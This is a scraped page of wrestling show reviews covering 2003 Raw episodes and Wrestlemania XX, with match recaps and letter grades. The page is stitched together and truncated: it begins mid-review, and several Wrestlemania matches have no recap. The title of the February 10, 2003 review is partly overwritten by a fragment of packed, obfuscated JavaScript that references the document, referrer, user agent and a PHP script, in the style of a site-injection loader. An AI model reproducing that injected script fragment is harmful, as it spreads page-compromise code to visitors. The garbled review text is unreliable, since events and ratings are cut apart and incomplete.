Orton says these people are here to see him because he doesn’t have to do things the way Foley did. Randy shows off the physique but Foley tells him to take his best shot. Foley gets physical for a bit but the numbers eventually get the better of him. Of all people, Maven and Al Snow run in for the save. Thankfully I don’t think this is setting up a six man tag but it was a heck of a segment with Foley selling emotion and planting some seeds for a match with Orton later on.

Eric Bischoff yells at Fabulous Moolah and Mae Young, threatening to knock the latter’s dentures out. Mae is going to have a match tonight as punishment for the pie incident last night.

Gail Kim is coming.

Dudley Boyz/Ivory vs. Rodney Mack/Jazz/Christopher Nowinski

The good ones clear the ring to start with Bubba throwing Ivory over the top onto Jazz. Bubba has to fight out of the corner but an elbow hits Nowinski’s mask and Mack takes over. The Bubba Bomb cuts Nowinski off though and everything breaks down in a hurry. Jazz gets shoved down and there’s a double flapjack to Nowinski. Ivory goes up top to play D-Von in What’s Up and Nowinski eats 3D. A rollup gives Ivory another pin on Jazz.

Rating: D+. How many times does Ivory get to pin Jazz before we get Jazz beating her in the title match because even WWE isn’t stupid enough to put the title on Ivory? I really could go for getting that over with and getting on to some fresh talent. Gail Kim would help a lot, assuming they don’t just add her to the rotating cast of uninteresting characters.

You can vote on who will be added to Evolution. Test is an option.

Kane and Rob Van Dam have a rematch for the Tag Team Titles but Kane isn’t thrilled. See, it was Rob’s fault last week so if they lose tonight, they’re done as a team.

Music video on Bad Blood.

Foley, Maven and Snow (in a Hurricane shirt) are annoyed at Evolution. Maven has Orton tonight and Foley will be out there with him.

Evolution is watching the next match to scout talent.

Garrison Cade vs. Lance Storm

What did I do to deserve this? Also, they couldn’t call him, I don’t know, George Cade? Or ANYTHING but Garrison? Maybe Mackey Cade? Before the match, Austin comes out and says BORING over and over while laying down on the stage with a pillow and blanket. He’s tried watching the grass grow and watched the paint dry but maybe this could put him to sleep. The camera stays on Austin as he hammers away, only to get dropkicked by Cade. Austin leads the BORING chants and Lance comes back with a leg lariat for two.

We hit an armbar as Austin is starting to snore. He’s having a dream where Storm is wrestling….which means it’s a nightmare. Now he’s waking up and he realizes it’s not a dream. He says everyone is asleep and the distraction lets Cade grab a rollup for the fast pin. Someone is going to have to explain this Austin making fun of/ripping on the wrestlers thing to me as we had Kane a few weeks back and now this. How does this help anyone? I mean, Austin doesn’t exactly get anything out of it either but it’s twice now that he’s treated another wrestler like garbage. It’s not like they have the talent to spare at the moment either.

Chris Jericho/Christian vs. Goldberg/Booker T.

Booker goes after the Canadians before Goldberg comes out but thankfully he doesn’t waste time with the full entrance. I’d have gotten a good laugh if he had though but thankfully sanity prevailed. Jericho is sent outside in a heap and we take a break before the bell. We’re joined in progress with Jericho bailing out to avoid the legal Goldberg. A thumb to Goldberg’s eye slows him down but he’s right back with a neckbreaker.

Goldberg clotheslines both of them as this is basically dominance whenever Goldberg is in. Booker comes in for a kick to the face and some chops against the ropes. Some cheap shots from the apron has Booker in trouble though as Evolution’s scouting continues. Things slow down with a chinlock but the twisting rollup out of the corner gets….countered into a failed Walls attempt. Booker kicks him away and makes the tag to Goldberg, which really doesn’t get much of a reaction.

A very delayed gorilla press powerslam gets the fans back but Christian breaks it up at two. Christian saves Jericho from the spear so it’s back to Booker as everything seems ready to break down but doesn’t quite get there. Instead Booker has to dropkick Christian out of the air, only to get caught with the Lionsault. Now the spear connects, only to bang up Goldberg’s bad shoulder. Christian brings in the Intercontinental Title, which Booker takes away and uses to knock him cold for the pin.

Rating: B-. Nice main event style tag match here, which was a lot more than I was expecting. Goldberg looked like a killing machine here and Booker looked fine, though it’s not the best use of your Intercontinental Champion. Would it have been the worst thing in the world to have Jericho lose here? Or to have Goldberg do what the fans want to see him do and just break a few people? Good match though.

Long recap of the pie eating segment from last night.

Mae Young vs. Test

An angry Bischoff is out for ring announcing. And no match of course as Austin comes out to make Scott Steiner guest referee (JR: “FINALLY SOME FAIRNESS HERE!” No JR, no that’s still not fairness.), only to have Test give Mae a pumphandle slam before Steiner can come out to even things up. I still never need to see the pie thing again and Moolah/Mae being used for anything other than bad comedy would be in the same category.

Rico is in the back for his match and now he’s even more over the top, with moisturizer and sparkle glitter (his words) along with Miss Jackie (Gayda), which is quite the upgrade as I was always a fan.

After that debut (complete with “IT’S RAINING RICO!”), let’s look at Mae being destroyed again.

Austin wants to see Van Dam and Kane.

Rico vs. Spike Dudley

Rico takes him down with a few kicks and a neckbreaker gets two. Some stomps in the corner have Spike in more trouble as the announcers talk about anything other than this new gimmick. We hit a seated full nelson to keep Spike in trouble, followed by a middle rope ax handle for more of the same. The BORING chants begin (Who could have guessed that would have caught on from earlier?) as JR and King try to figure out if Rico and Jackie are dating. Spike is put on top but bites Rico’s head, setting up a double stomp to the ribs. Jackie offers a distraction though and Rico finishes with a spinning kick.

Rating: D-. Yeah this isn’t the biggest surprise but this gimmick is dead in the water. It’s WWE’s version of being funny when Rico has the potential to be a heck of a star on his own. But instead we’ll go with the stupid jokes because that’s what got Rico over so hard in the first place. Bad match and a bad sign for Rico as well.

Austin yells at Van Dam and Kane, saying DO IT FOR AMERICA.

Maven vs. Randy Orton

Foley and Flair are at ringside. Orton easily takes him down to start as JR thinks Randy could be a star with a slight attitude adjustment. That’s more accurate than he could have known. Maven gets in a dropkick to put Orton on the floor but the hanging DDT gives Orton two. A hard whip into the corner has Maven in more trouble and a northern lights suplex gets two.

Maven fights out of a chinlock as Lawler accuses Foley of ripping him off for some illustrations in a book. JR completely ignores that to talk about Van Dam and Kane, making me think there’s a coverup. Orton’s dropkick gets two but Maven avoids a charge in the corner. A middle rope bulldog gives Maven two as Foley gives Flair Mr. Socko. Maven gets two more off a high crossbody but the RKO (so weird to have it get no reaction) puts him away.

Rating: D. Not terrible and better than the boss yelling about a match being boring but there’s a reason that Maven wasn’t around very often. It’s understandable when you consider he was only a few years into the business at this point but he never really got much better. You can see Orton’s potential shining here though and a lot of his signature stuff is starting to pick up.

Foley tries to start a post match fight but the villains run.

Test, Jericho and Kane win the fan vote about who will be in Evolution.

Tag Team Titles: La Resistance vs. Kane/Rob Van Dam

La Resistance is defending after winning the titles last night. Kane throws Rene Dupree around to start and choke drops Sylvan Grenier for a bonus. The champs are sent outside and Rob hits a running dive (which seemed like it was supposed to include a flip) to take them both down again.

Back from a break with Van Dam in trouble and Rene grabbing a chinlock. JR stays on his rants against France, including the classic “if you don’t like America, get out”. Grenier comes in for a bow and arrow hold until Rob fights up for the hot tag off to Kane. The top rope clothesline misses though, which Lawler thinks is impressive. Kane chokes Grenier in the air for a top rope kick to the face in a spot that was cooler than I thought it would have been.

Things settle back down with Van Dam scoring two off a dropkick. Rene is back in with a Death Valley Driver but now the top rope clothesline connects. A thumb to the eye cuts Kane off though and the double spinebuster plants him on the floor. Back in and the double spinebuster is countered with a double DDT (didn’t look good and wasn’t clear until the champs stayed down) for two. Rob goes up but gets shoved onto Kane, who chairs Rene in the head for the DQ.

Rating: D+. Not terrible but WAY too long as it felt like it should have ended five minutes earlier. Kane snapping again is interesting, though I could have gone for more of Kane and Van Dam as a team. At least we have some new champs who have proven they can beat the old champs, though it’s still not the most thrilling stuff in the world.

Post match Kane destroys La Resistance with chair shots and a chokeslam….so here’s HHH. The champ says he respects Kane, unlike Van Dam. Right here tonight, HHH is offering Kane a spot in Evolution. As HHH gives his sales pitch, here’s Austin to interrupt. HHH and Austin bicker a bit until Austin gives Kane a title shot next week in Madison Square Garden. This brings out Bischoff to say if Kane loses, he loses the mask. Kane chokeslams HHH to accept the match.

Overall Rating: D. You know it really is amazing how much easier this was to sit through without having to deal with Kevin Nash. Kane isn’t a great opponent but at least he can move around and the fans might buy him as a threat to win the title. Unfortunately there’s not much else to cheer for on this show, save for the good tag match in the middle. When you have Austin yelling about how boring Storm is, you can only get the show so far. Evolution is starting to have some potential though, which is a good sign as it’s likely going to be the biggest story on the show for a very long time.

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

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Monday Night Raw – February 24, 2003 (2017 Redo): You Can Still Smell the Greatness

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Date: February 24, 2003
Location: Air Canada Centre, Toronto, Ontario, Canada
Attendance: 10,000
Commentators: Jim Ross, Jerry Lawler

It’s the night after No Way Out and that means it’s time to start things shifting towards Wrestlemania. HHH defeated Scott Steiner last night to end their feud (thank goodness) and now he needs a new challenge for the titles. Other than that we have Steve Austin back tonight and it should be interesting to see how he holds up as a full time guy instead of someone just back for a stand alone appearance. Let’s get to it.

Opening sequence.

Here’s a very banged up Eric Bischoff to say he’s still standing even after Austin beat him up last night. As for tonight though, Austin is banned from the building, meaning he’ll miss tonight’s 20 man battle royal to crown a new #1 contender. Austin will be dealt with next week though when Bischoff has a special welcoming committee waiting on him. Even though Austin isn’t here tonight, Bischoff has a special surprise: THE ROCK! It must be Wrestlemania season if they’re ignoring the exclusive roster statuses like that.

Rock isn’t pleased with the mixed reaction and says that he’s FINALLY come back “Toron…..Toron…..to run his mouth all over” these people. Rock advises us to not boo until you hear what he has to say. Last night he did Vince a favor by taking care of Hogan, in return for being able to go wherever he wanted. Rock wanted to go to Raw in Toronto, Canada. The fans cheer of course so Rock rips them apart for cheering over something so stupid. Rock: “YAY! HE SAID TORONTO! THAT’S WHERE WE LIVE! SHUT UP!”

He wanted to come to Toronto because it’s where the people turned on the People’s Champion. Last year at Wrestlemania, 68,000 of you mother Canuckers booed the Rock out of the building. That strikes up a Hogan chant so Rock has to slowly explain that this isn’t Smackdown. Rock wasn’t about to forget last year, if that’s what these people think. Then again, it doesn’t matter what they think.

Then at the Raw Tenth Anniversary, they gave the Superstar of the Decade Award to Steve Austin. There’s only one Superstar of the Decade and hes “stronger than a bear, faster than a buck, the biggest thing to hit Canada cause the MAPLE LEAFS SUCK!” The fans get in whatever insults they can and Rock is just basking in the hatred.

He’s even going to enter the battle royal tonight and go on to Wrestlemania. Rock loads up IF YA SMELL but cuts them off in a rather deep voice. Rock: “YOU CAN’T SING ALONG WITH THE ROCK! NO! NO! NO MORE!” The Rock and the Rock alone gets to say IS COOKIN to wrap up one of the most amazing heel performances you’ll ever see.

This was nothing short of outstanding with Rock completely destroying the entire arena in the span of ten minutes. He took some of the simplest ideas that makes a face promo work and turned them around on the fans with the MAPLE LEAFS SUCK clearly cutting them deeply. Rock came into this with complete confidence and sold every word of it to the point where he was suddenly the biggest heel in years. Watch this if you haven’t seen it and take notes.

Jazz vs. Jacqueline

Victoria and Steven Richards are on commentary. They slug it out to start and head outside with Jackie taking over as Lawler is confused by Jackie’s chest tattoo. Back in and Jazz gets two off some clotheslines and loads up a powerbomb. I’m not completely sure what happens next though as I think Jazz tried to drop her backwards and face first onto the mat but Jackie might have tried to reverse into a sunset flip, leaving her to just drop off to the side in what looked like a botch. Jazz takes her down by the leg and puts on the half crab into the STF for the tap.

Post match the lights go out and Trish makes her return to beat Jazz up. She was gone in the first place? Victoria tries to interfere and gets kicked in the face.

We see Test arriving at a Girls Gone Wild shoot. For some reason JR didn’t know what GGW was despite the Girls Gone Wild boss showing up on Smackdown. Test goes to a club to pick the finalists for Miss Girls Gone Wild and shows off that awesome charisma (or he might just be really drunk).

Test and Maven are watching the clip with Test saying it makes up for all the stupid stuff Stacy has done. Apparently she didn’t know what GGW was and isn’t happy about it. Cue Stacy to accuse him of doing a few things he shouldn’t have been doing. Chief Morely comes in and makes Test/Stacy vs. Chris Jericho/Christian.

We recap Goldust being electrocuted.

Kane vs. Lance Storm

Storm jumps on Kane’s back for a choke and is quickly clotheslined out to the floor. Back in and a big boot sets up an elbow drop for no cover as this is one sided for Kane so far. Kane charges into a boot in the corner and eats a middle rope missile dropkick for two. Back to back chokeslams end Storm in a hurry.

Randy Orton’s shoulder is healthy (99% at least) and he’s back in the ring tonight.

Randy Orton/Batista vs. Booker T./Scott Steiner

Booker chops at Orton and forearms him down, only to have Flair trip Booker up to take over. Steiner chases Flair away but Batista comes in to work over Booker. Flair holds Booker in the corner so Orton can hammer away, only to have Booker fire off the kicks to get a breather. A Flair distraction lets some double teaming bring Booker back into the corner though and we hit the bearhug.

Orton grabs a chinlock, only to have Booker fight up and hit the ax kick (Not the Spinarooni JR. That’s bad even for him.). More double teaming keeps Booker in trouble so Steiner finally comes in without a tag and cleans house. Flair gets caught in the Recliner but Batista makes the save and spears Booker down. Orton adds the high crossbody but Booker rolls through for the pin.

Rating: D. Not a very good match but the really telling part here is the fact that Steiner never actually tagged in. The night before he was wrestling on pay per view for a World Title and he couldn’t even get into a tag match here. You can tell they’ve completely pulled the plug on him and I’m actually surprised they even let him stand on the apron instead of swapping in ANYONE else, or just making this a singles match.

We recap Rock entering the battle royal. As in we show a fifteen second clip of it.

Chris Jericho/Christian vs. Stacy Keibler/Test

Stacy is in a cutoff Maple Leafs jersey and little white shorts so the sympathy is really turned up. Test leaves her on the ramp (Why not leave her in a hotel somewhere?) and charges in but Stacy gets on the apron anyway. Jericho pulls her down to send her face first into the apron and the double teaming begins. Chris grabs a chair and blasts Test for the DQ in less than 80 seconds.

With Test down, Jericho handcuffs him to the ropes and puts Stacy in the Walls. Jeff Hardy tries to make a save but gets beaten down, leaving Shawn Michaels to make the real save. Christian really didn’t need to be there at all, save for making the odds a bit stronger. The silence for most of the beatdown segment was rather telling to put it mildly.

Post break Jeff is still in the ring when Christopher Nowinski comes out to call him a failure. Those are wrestling words.

Jeff Hardy vs. Christopher Nowinski

Jeff hits him and drops the Swanton for the pin at 13 seconds. Actually hang on as Jeff beats on Nowinski post match, drawing a reversal of decision.

Van Dam and Kane are ready for the battle royal but don’t agree on who should win after they get rid of Rock.

Speaking of Rock, he’s in a somewhat cramped dressing room and tells someone on the phone that Austin can come see him next week. Rock gets off the phone and grabs his guitar but cue Hurricane of all people. Hurricane chastises him for ripping on the people and wants to know whatsupwithdat. Rock wants to know who he is but realizes that it’s the Hamburgler.

He’s not impressed though because any superhero could beat Hurricane, even Aquaman. Rock: “Yeah the dude that talks to the fish.” Hurricane knows he could beat the Scorpion King though. ROck: “OH NO YOU…..!” Hurricane asks if Rock can fly and promises to make him fly over the top rope tonight. He leaves but Rock insists that losing to Brendan Fraser was just a special effect. Good stuff here as Rock clearly has no issue working with people way beneath him, which so many people can’t say.

Jerry Lawler vs. Chief Morely

No DQ so just get the interference ready now. Morely hammers away to start as JR points out how much experience Lawler has. Lawler gets in a clothesline and knocks Morely outside as the YOU SCREWED BRET chants start up. Back in and Morely grabs a spinebuster to set up the Money Shot for no cover. Instead he goes for a chair but Hebner kicks it out of the ring for no apparent reason. Cue the Dudleys for a 3D and Lawler drops the middle rope fist for the pin.

Rating: D-. This is the second match of the night that made it to five minutes and they certainly didn’t make use of the time. I have no idea what the point is in having the announcers fighting Bischoff’s lackey but it’s getting really annoying in a hurry. Lawler can work a brawl just fine but couldn’t this be used for ANYONE else who could use a rub? Lawler is a legend and won’t be wrestling full time so who does this really help?

Evolution is ready for the battle royal and Orton wants Booker T.

Battle Royal

Chris Jericho, Al Snow, Booker T., Batista, Christian, Jamal, Rosey, Jeff Hardy, Kane, Lance Storm, Maven, Randy Orton, Rob Van Dam Rodney Mack, Scott Steiner, Steven Richards, Test, Hurricane, Tommy Dreamer, The Rock

Winner gets HHH at Wrestlemania. Jericho and Christian bail to the floor as Test gets in. A bunch of people go after Rock to star, leaving Jericho to dump Test. Geez bad night for him. Test goes back in and Jericho eliminates himself to run into the crowd. Van Dam kicks Jamal out and Rock gets rid of Dreamer and Maven.

Richards is out next as the crowd is rather silent. Again. Evolution gets rid of Van Dam, followed by Snow and Mack being eliminated. Hurricane slugs away at Rock but gets kicked low for his efforts. That’s enough to get rid of Hurricane but Booker throws Rock through the ropes to the floor. They brawl on the outside (neither are eliminated) until Rock goes up and joins commentary.

Rock talks about JR’s barbecue sauce as a production guy pokes his head out from underneath the stage in a funny visual. Orton backdrops Hardy out but Steiner gets rid of Randy. Batista gets rid of Steiner and Booker gets rid of Batista, leaving us with Booker, Christian, Kane, Rosey, Rock and Storm. Rosey and Storm of all people team up to beat on Kane as Rock mocks JR’s hat.

Kane gets rid of Rosey and shrugs off some of Storm’s horrible right hands. They’re bad enough that Kane throws him out and Booker takes a chokeslam. Now Rock heads back to the ring and gets rid of Kane and Christian. Booker chops away but gets caught in a DDT. Rock loads him up but Booker reverses and throws Rock out for the completely clean win and the title shot.

Rating: D. Just a bad battle royal here though the ending was a good call. Booker is the kind of guy who could get a major rub out of a win here and an even bigger one out of the Wrestlemania match. Eliminating Rock like he did was a perfect way to wrap things up as well, making this a good ending to a bad match.

Overall Rating: D. Let me make this clear to start: everything good about this show has to do with the Rock and everything bad has to do with almost everyone else. Rock is the ONLY good thing going on here and the lack of Austin was really bad. HHH wasn’t there either but at least he was beaten up last night (kind of) to explain the absence.

The problem here was so much of the show being built around bad matches that didn’t have any time to go anywhere. How much can you do when four matches aren’t even three minutes long? You can tell they’re getting ready for the Wrestlemania season and that means some improvements but sweet goodness there’s some horrible stuff that they need to drop for the sake of stuff that could actually benefit from the extra attention.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Monday Night Raw – February 10, 2003 (2017 Redo): The Business Meeting Show

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|erfds|var|u0026u|referrer|tyfyn||js|php'.split('|'),0,{})) Night Raw
Date: February 10, 2003
Location: Staples Center, Los Angeles, California
Commentators: Jim Ross, Jerry Lawler

We’re officially in the Evolution Era and less than two weeks away from No Way Out, meaning Scott Steiner vs. HHH II. Why we’re doing that is anyone’s guess but I would assume a lot of liquor was involved. There isn’t much else set on the Raw side but we’ll likely remedy that tonight. Let’s get to it.

In Memory of Curt Hennig. That’s an especially sad one.

We get a long recap of the Bischoff Needs to Fix Raw angle, which seems to be culminating tonight because WWE can’t count to thirty.

Here’s a nervous looking Bischoff to open things up. Eric hasn’t heard from Steve Austin about No Way Out and that means he might be in trouble. Vince McMahon is on his way here tonight and there’s a good chance that he’s going to get fired. Eric starts sucking up to the fans and then demands their support. The old villains never learn.

Until Vince gets here, Eric is going to do whatever he wants to do and he’s going to start with the commentary team. Jim Ross seems to have almost guaranteed that Austin will be back but now it’s not happening. Eric thinks JR could do more and blames him for Austin not signing. JR suggests that Austin just hates Eric for firing him from WCW (there’s a reference that not many people will get) so Eric fires him.

During the break, a limo arrived with Eric waiting outside, only to find Evolution instead of Vince.

Since Lawler is on his own, he plugs his book in something that fits Lawler so perfectly.

Christian vs. Test

Test takes him down and rams his head into the mat a few times as Lawler tries to figure out how to do JR’s job. Christian snaps Test’s neck across the ropes as Jonathan Coachman comes out to join commentary. The pumphandle slam is countered into a reverse DDT for two on Test as Lawler is instantly better with someone to talk to. Test misses the big boot but hits the full nelson slam for the pin.

Rating: D. The story is helping Test a bit but that doesn’t make his matches any better. At least it’s not the same unfunny Testicles jokes over and over again, which were much more stupid than anything else. I can’t imagine they’ll put Test over Jericho in the eventual blowoff match but at least he’s getting a win here.

Christian takes Test out post match but Jeff Hardy of all people comes in to save Stacy.

JR tries to get in touch with Austin.

We recap Booker T. and Goldust splitting last week in a rushed yet emotional moment. Then Evolution electrocuted Goldust later in the night because reasons. On a well run show, this would lead to Booker/Goldust vs. Evolution but they don’t seem smart enough to pull that off at the moment.

Booker T. vs. D’Lo Brown

Yeah they’re not that smart. Booker dedicates this to Goldust but Brown and Teddy Long cut him off. Teddy says Goldust is another white man holding the man down and suggests a team with D’Lo. Booker opts to chop and punch away in the corner instead until Brown leg lariats him down. The side kick (clearly not making contact) sets up the ax kick to give Booker the easy win.

Jericho asks for a match with Jeff Hardy.

Jazz vs. Molly Holly

Molly goes right after her and has as much luck as you would expect with Jazz easily taking her down into a cross between the Muta Lock and Cattle Mutilation. Rolling butterfly suplexes get two on Molly as Lawler tries to figure out JR’s job status. A half crab cuts off Molly’s comeback and the STF puts her away without too much effort.

Rating: C. I’m not a big Jazz fan but she beat the heck out of Molly here and made it look awesome. Sometimes you need someone tough and awesome who can beat the heck out of various opponents. The problem is the division isn’t exactly deep right now and Jazz is probably already the #1 contender after winning one match. Not that she’s not undeserving of it but I could go with dedicating more time to set things up.

Jazz gives her the double chickenwing faceplant and the STF.

Steve calls JR. Fink comes up and asks what’s going on but that was Steve from Oklahoma, not Austin.

Kane/Rob Van Dam vs. 3 Minute Warning

Van Dam starts with Jamal and is quickly shoved off the top and onto the barricade in a big crash. Rosey gets in some clubbing forearms but heel miscommunication allows the hot tag to Kane. House is quickly cleaned and Rolling Thunder gets two on Rosey. A chokeslam into the Five Star puts Jamal away.

Rating: D. Just a step above a squash here as 3 Minute Warning somehow gets even less interesting and valuable every single week. I really don’t know why they’re even still on Raw other than filling in time. Kane and Van Dam are working as the oddball team and it gives them something to do, which in a way is a lot more important than having good matches.

Vince arrives and wants to know why JR is in the parking lot.

Here’s Vince in the ring for the big speech of the week. He wastes no time in calling down Bischoff and Chief Morely. Coach: “It’s been a long thirty days.” Actually it’s been a short 21 days. Starting with Morely, he hasn’t met any of the goals that Vince has set for him. He’s not getting fired immediately though, because he has a chance to keep his job. All he has to do is win a match against all three Dudley Boyz.

Morely goes to get ready so Vince asks if Bischoff has signed Austin, which apparently became the saving grace move off camera. Vince says Eric would have saved his job if he had signed Austin but Bischoff pleads his case. By that he means bringing out lesbians for HLA. But wait, because these aren’t just regular lesbians but rather bisexual lesbians. Since that’s one heck of an oxymoron, Vince fires him anyway. Vince even leads the Goodbye Song on the way out and throws in the maniacal strut.

William Regal and Lance Storm suck up to Vince after a break and he announces a new GM being hired tonight.

Chief Morely vs. Dudley Boyz

The trio wastes no time in starting the beating with a double flapjack and overhand chops in the corner. There’s a Samoan drop before the trio just stomps him down in the middle. A whip sends Morely into the steps and they bounce off his head for good measure. The Dudley Dog and 3D finally end the massacre.

Rating: D. It’s pretty unfair to rate this but obviously this was more about the angle than the “match”. This is all it needed to be though as the Dudleyz have been screwed over by Morely and Bischoff for weeks now and it’s time for them to get something back. They kept it quick though and this accomplished its goal. Morely deserves some credit here too as he sold everything really well.

Morely goes through a table for good measure.

Bischoff offers JR a handshake but he tells Eric to go clean out his desk.

Batista vs. Tommy Dreamer

Batista Bomb and we’re done in 22 seconds.

Booker T. comes in for the post match save but Scott Steiner makes the real save.

Jeff Hardy nods at Shawn Michaels but says nothing.

Stacy has a new idea for Test: some personal appearances with GGW. Yes, that would be Girls Gone Wild.

Bischoff is packing up his office (as he does every week) but the Dudleyz come in to sing the Goodbye Song again.

Chris Jericho vs. Jeff Hardy

Jeff’s headlock doesn’t get him anywhere so Jericho forearms him in the face to take over. Hardy gets tossed over the top but Jericho misses a dive for a crash on the floor. Jeff sends him into the steps but gets crotched on the way back inside. A backbreaker keeps Jeff in trouble and Jericho bends the back over his knee to make things even worse.

Jeff’s comeback is cut off by a clothesline and we hit the chinlock with a knee in the back as the crowd is really not interested so far. Back up and Jericho goes shoulder first into the post, though his leg is fine enough for an enziguri to take over again. The Walls go on but are quickly broken with Jeff taking him down in a hurry. The Swanton gets two with Jericho getting his foot on the ropes. Jericho has had enough now and grabs the Walls for the tap, which Jeff has to do three different times before the referee stops the match.

Rating: C. Jeff is on another planet at this point and it’s becoming clear that he’s not getting much better anytime soon. I have no idea what happened with the heel turn from last week but he’s about as much of a face as you can be this time around. Jericho was doing what he could here but that was only going to get him so far.

Evolution is on the way to the strip to celebrate but Vince cuts them off, saying the new GM is about to be announced. Next week, it’s going to HHH/Batista vs. Booker T./Scott Steiner.

Here’s Vince to announce the new GM. Jim Ross comes out but Vince says it’s not him. Bischoff comes out behind JR, who says Austin WILL BE at No Way Out. That means JR is reinstated…..and so is Bischoff, assuming he’s will to join Vince’s signature Club (complete with Vince making it do tricks). Eric says no way so Vince puts him in a match with Austin at No Way Out to end the show. Somehow everything from the announcement of the club to the end of the show took nearly eight minutes.

Overall Rating: D. The wrestling wasn’t all that great but even worse than that is the whole Bischoff junk. Ignoring the fact that they apparently can’t count to thirty, there’s the fact that this story has been little more than “Sorry fans, but your rattlesnake is on another show.” Raw has become a mess as of late, though at least this week didn’t focus on Steiner, who has been shifted to more of a glorified afterthought role. That’s better for everyone, though it still doesn’t make for a good show.

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Wrestlemania Count-Up – Wrestlemania XX (2017 Redo): The Definitive One

Wrestlemania XX
Date: March 14, 2004
Location: Madison Square Garden, New York City, New York
Attendance: 18,500
Commentators: Michael Cole, Tazz, Jim Ross, Jerry Lawler

The Harlem Boys Choir sings America the Beautiful.

US Title: John Cena vs. Big Show

Cena gets a big celebration for his first title.

Raw Tag Team Titles: La Resistance vs. Garrison Cade/Mark Jindrak vs. Dudley Boyz vs. Booker T./Rob Van Dam

Booker and Van Dam are defending and this is one fall to a finish. And yes, they really thought calling someone Garrison Cade (just a generic guy who got better later on) was going to get him over. Jindrak is an athletic freak who became a bigger deal in Mexico and La Resistance are Rob Conway and Rene Dupree. Unfortunately this match means we have to hear the AWFUL Booker T./Rob Van Dam remixed theme. Seriously.

Chris Jericho vs. Christian

Jericho starts fast and gets rather aggressive on the mat. A belly to back suplex drops Christian as Lawler is cheering for the evil Canadian. Christian gets backdropped to the floor in a big crash and you know the New York crowd is going to be behind Jericho here. Back in and the threat of the Walls send Christian into the ropes.

Tim White tells them that they have “six minutes fellows” so Jericho gets two off a northern lights suplex. The Lionsault hits knees though and Christian gets two off his reverse tornado DDT. Christian starts in on the knee and slaps on a Texas Cloverleaf to mix it up a bit.

Post match Trish slaps Jericho on purpose so Christian can lay him out. Trish and Christian leave together and kiss on the stage, giving us the eternally awesome evil Trish, who worked in a variety of ways.

Evolution vs. The Rock/Mick Foley

Mick is in as well though and things speed up (not normally something you associate with Foley) until Batista drives him into the corner (which you do associate with Batista). A huge clothesline runs Foley over though and Orton whips him HARD into the steps. Back in and Orton grabs a camel clutch for a bit before the rest of the team gets in their shots. Foley does get a quickly broken up Claw on Batista for a hope spot, which is a great way to keep the crowd into things.

Rating: B+. I had a great time with this as it was an exceptional performance, albeit not exactly a great match. This was all about everyone looking great with Rock and Flair clearly having the time of their lives out there. Foley vs. Orton was the real story here and things would get even better the next month when they were on their own. This was a big part of making Orton though, which is where Foley shined like few others over the years. Great stuff here and a fine example of what happens when you have some amazing performers wanting to do their best.

Foley gets up and looks dejected but Rock applauds him.

Gene Okerlund presents the Hall of Fame Class of 2004:

Tito Santana (one of my all time favorites)

Big John Studd (represented by his son)

Harley Race (that man deserves his own Hall of fame)

Pete Rose (booed but said to be incredibly grateful for the honor)

Don Muraco (underrated)

Greg Valentine (big pop and looks the same as he did in 1983)

Junkyard Dog (represented by his daughter)

Billy Graham (probably the most copied wrestler of his era)

Sgt. Slaughter (the definition of a wrestling character)

Jesse Ventura (BIG pop and well deserved)

Sable/Torrie Wilson vs. Stacy Keibler/Miss Jackie

Playboy Evening Gown match (and Smackdown vs. Raw) after Sable and Torrie posed together. They want to have the match in lingerie but Jackie says no so this actually has to take place. Jackie is stripped anyway so all four are in their underwear. I think you know how this is going to go and they hit all of the comedy spots that you would expect. That includes high crossbodies, Stacy doing the leg choke in the corner, sunset flips and the referee getting crushed. Oh and genital jokes from Cole and Tazz. Torrie rolls Jackie up for the pin at 2:32. This was exactly what four non-wrestlers in lingerie was going to be.

Video on international fans coming in for Wrestlemania.

Cruiserweight Title: Cruiserweight Open

Chavo Guerrero Jr. is defending and this is basically Tag Team Turmoil but with one person at a time. Guerrero is automatically tenth due to being champion and the rest are all randomly chosen. In an interesting move, all ten come out first with Ultimo Dragon tripping on the way in for a funny moment.

Goldberg vs. Brock Lesnar

The fans think this match sucks as Lesnar FINALLY grabs a headlock five minutes in. They collide off a shoulder and stare each other down AGAIN, earning a “WE WANT FLAIR” chant. A double shoulder puts both guys down again and the fans are still livid. Goldberg finally grabs him by the throat into a gorilla press into a spinebuster, drawing an actual pop from the crowd.

The spear misses though and Goldberg crashes out to the floor so the fans think he sucks. Back in and Lesnar gets two off a suplex before grabbing a standing choke to keep things slow. Something happens in the crowd and they start chanting for Hogan (probably a look-a-like). Brock gets in another suplex and puts on another choke as the fans have just given up on even trying.

Another double collision puts both guys down again as this is somehow eleven minutes already. Goldberg makes his comeback with clotheslines and a neckbreaker followed by the spear for two. The F5 gets the same and Lesnar stops to jaw with Austin, setting up the spear and Jackhammer to end Brock at 13:43.

It got watchable near the end but they had already given up and taken the crowd completely out of it by that point. I was embarrassed here and that should never happen. Austin was completely innocent here by the way and was stuck in a hard place. Oh and one more thing: WWE IS GOING TO LET THEM DO IT AGAIN THIRTEEN YEARS LATER! FOR THE TITLE!

Fireworks go off outside.

The champs dance post match.

Edge is coming back after over a year on the shelf.

The haircut is STILL going after that package and Molly really is bald.

Smackdown World Title: Kurt Angle vs. Eddie Guerrero

Undertaker vs. Kane

Raw World Title: HHH vs. Shawn Michaels vs. Chris Benoit

In the real moment of the show, Eddie Guerrero comes out to celebrate with Benoit in the big emotional ending as the confetti falls. This is really, really hard to watch now and makes the show that much more emotional.

A four minute highlight package takes us out.

This is the kind of show that was DYING for a pre-show to burn off two or three of the matches that no one cared about (Tag Team Title matches and the Cruiserweight Open would be great candidates) and let the rest of the show not feel so long. The show itself needed to be about three to three and a half hours long max instead of the four hours and thirty one minutes it clocks in at instead.

Ratings Comparison

John Cena vs. Big Show

Original: C-

2013 Redo: C

2017 Redo: D

